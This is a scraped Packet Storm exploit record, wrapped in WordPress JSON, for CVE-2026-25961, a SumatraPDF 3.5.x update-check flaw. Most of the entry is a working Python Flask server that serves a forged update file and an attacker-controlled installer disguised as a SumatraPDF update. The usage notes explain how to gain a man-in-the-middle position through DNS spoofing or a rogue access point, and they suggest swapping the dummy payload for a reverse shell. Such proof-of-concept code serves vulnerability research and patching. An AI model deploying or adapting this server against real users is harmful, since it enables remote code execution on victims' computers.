{“lastseen”:”2026-05-05T23:01:59″,”description”:”SumatraPDF versions 3.5.0 to 3.5.2 disable TLS hostname verification during update checks using INTERNETFLAGIGNORECERTCNINVALID and do not perform any signature or integrity validation on the downloaded installer…”,”published”:”2026-05-05T00:00:00″,”modified”:”2026-05-05T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 SumatraPDF 3.5.2 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:220410″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-25961″],”sourceData”:”# Exploit Title: SumatraPDF 3.5.2 – Remote Code Execution \\n # Date: 2026-02-10\\n # Exploit Author: Mohammed I. Banyamer\\n # Vendor Homepage: https:\/\/www.sumatrapdfreader.org\/\\n # Software Link: https:\/\/www.sumatrapdfreader.org\/download-free-pdf-viewer\\n # Version: 3.5.0 – 3.5.2\\n # Tested on: Windows 10 \/ 11\\n # CVE : CVE-2026-25961\\n # Advisory: https:\/\/github.com\/sumatrapdfreader\/sumatrapdf\/security\/advisories\/GHSA-xpm2-rr5m-x96q\\n # CVSS: 7.5 (High) – CVSS:3.1\/AV:N\/AC:H\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H\\n #\\n # Description:\\n # SumatraPDF versions 3.5.0 to 3.5.2 disable TLS hostname verification during update checks\\n # (using INTERNET_FLAG_IGNORE_CERT_CN_INVALID) and do not perform any signature or integrity\\n # validation on the downloaded installer.\\n #\\n # A network-positioned attacker can:\\n # – Intercept the HTTPS request to www.sumatrapdfreader.org\/update-check-rel.txt\\n # – Return a forged response containing a URL to an attacker-controlled executable\\n # – When the user clicks \\”Install\\”, SumatraPDF executes the downloaded file via CreateProcess\\n #\\n # Attack scenarios include rogue Wi-Fi, compromised home\/office router, malicious upstream proxy,\\n # or DNS hijacking \/ poisoning that redirects the update domain.\\n #\\n # This PoC provides the malicious update server component only.\\n # The attacker must achieve traffic redirection\/interception separately (MITM position).\\n #\\n # Usage (attacker side):\\n # 1. Deploy this script on a server \/ VPS reachable from the victim\\n # 2. Achieve network position so that victim’s update request reaches your server\\n # (e.g. DNS spoofing, rogue AP, router compromise, transparent proxy injection)\\n # 3. Victim opens SumatraPDF \u2192 Help \u2192 Check for updates\\n # 4. Victim sees fake new version \u2192 clicks Install \u2192 payload executes\\n #\\n # Notes:\\n # – Replace the dummy payload with real malicious code (reverse shell, etc.)\\n # – No exploit without network adversary position (MITM \/ DNS control)\\n #\\n \\n from flask import Flask, request, Response, send_file\\n import os\\n \\n app = Flask(__name__)\\n \\n FAKE_UPDATE_TEMPLATE = \\”\\”\\”Ver=999.9.9\\n Installer64=http:\/\/{}:5000\/malicious_installer.exe\\n \\”\\”\\”\\n \\n PAYLOAD_FILENAME = \\”malicious_installer.exe\\”\\n \\n \\n if not os.path.exists(PAYLOAD_FILENAME):\\n print(\\”[!] Generating dummy payload (would open calc.exe in real attack)…\\”)\\n with open(PAYLOAD_FILENAME, \\”wb\\”) as f:\\n \\n f.write(b\\”MZ\\” + b\\”\\\\x90\\”*200 + b\\”FAKE PAYLOAD – replace with real shellcode\\”)\\n \\n @app.route(\\”\/update-check-rel.txt\\”)\\n def fake_update():\\n \\n attacker_host = request.host.split(‘:’)[0] \\n update_content = FAKE_UPDATE_TEMPLATE.format(attacker_host)\\n \\n print(f\\”[+] Fake update served to {request.remote_addr} \u2192 pointing to {attacker_host}\\”)\\n return Response(update_content, mimetype=\\”text\/plain\\”)\\n \\n @app.route(\\”\/malicious_installer.exe\\”)\\n def deliver_payload():\\n victim_ip = request.remote_addr\\n print(f\\”[!] Victim {victim_ip} downloading payload \u2192 RCE would trigger on install click\\”)\\n return send_file(\\n PAYLOAD_FILENAME,\\n as_attachment=True,\\n download_name=\\”SumatraPDF-999.9.9-64-installer.exe\\”,\\n mimetype=\\”application\/octet-stream\\”\\n )\\n \\n if __name__ == \\”__main__\\”:\\n print(\\”======================================================\\”)\\n print(\\” CVE-2026-25961 SumatraPDF Remote Update PoC Server \\”)\\n print(\\” Requires MITM \/ DNS \/ router position to be effective \\”)\\n print(\\”======================================================\\”)\\n print(\\”[*] Listening on http:\/\/0.0.0.0:5000\\”)\\n print(\\”[*] Point victim traffic to this host for update-check-rel.txt\\”)\\n print(\\”======================================================\\”)\\n \\n app.run(host=\\”0.0.0.0\\”, port=5000, debug=False)”,”sourceHref”:”https:\/\/packetstorm.news\/download\/220410″,”cvss”:{“score”:7.5,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:H\/PR:N\/UI:R\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/220410\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-05-05T23:01:59″,”description”:”SumatraPDF versions 3.5.0 to 3.5.2 disable TLS hostname verification during update checks using INTERNETFLAGIGNORECERTCNINVALID and do not perform any signature or integrity validation on the…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,16,12,15,13,53,7,11,5],"class_list":["post-51614","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-75","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n